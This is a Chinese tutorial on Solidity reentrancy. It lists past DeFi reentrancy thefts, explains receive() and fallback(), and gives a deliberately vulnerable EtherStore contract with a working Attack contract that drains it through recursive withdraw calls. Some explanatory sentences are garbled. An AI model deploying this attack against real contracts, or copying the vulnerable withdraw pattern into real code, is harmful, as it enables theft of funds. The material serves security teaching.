历史上发生重入漏洞的重大事件
-
2016年,The DAO合约被重入攻击,被盗取3,600,000枚ETH。从而导致了以太坊进行硬分叉,分叉成以太坊和以太坊经典
-
2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚 sETH 。
-
2020年,借贷平台 Lendf.me 遭受重入攻击,被盗 $25,000,000。
-
2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。
-
2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。
重入漏洞需要注意的点:
转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。此时需要注意两个函数:receive()、fallback()
接收ETH函数 receive
receive()函数是在合约接收ETH时被调用任何的函数。一个合约最多有一个receive()函数,声明方式与一般函数不一样,不需要function关键字:receive() external payable { ... }。receive()函数不能有的参数,不能返回任何值,必须包含external和payable。
回退函数fallback
fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约。此时声明不需要proxy contract关键字fallback(),function必须由external修饰符,一般也可以用payable修饰符,用于接收ETH: fallback() external payable { ... }。
注:receive()和payable fallback()均不存在的时候,向合约直接发送ETH将会报错(但仍然可以通过带标签payable的函数向合约发送ETH)。
做一个例子如下:
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
代码解释:
以下是一段带有重入漏洞的solidity漏洞代码:
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
可以看到以上合约deposit()合约接收以太币(带payable),此时用户可通过withdraw()函数进行提款。以上代码通过require(bal > 0);用以判断用户余额是否 >0 ,如果>0便可进行提款,提款完成后再进行变更用户余额,此时攻击者可通过发送一个不存在receive()的攻击合约无限提款,直至目标合约存款为0,攻击者合约如下:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "./test.sol";
contract Attack {
EtherStore public etherStore;
//注意要用payable修饰
constructor(address payable _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value == 2 ether);
etherStore.deposit{value: 2 ether}();
etherStore.withdraw(); // go to fallback
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}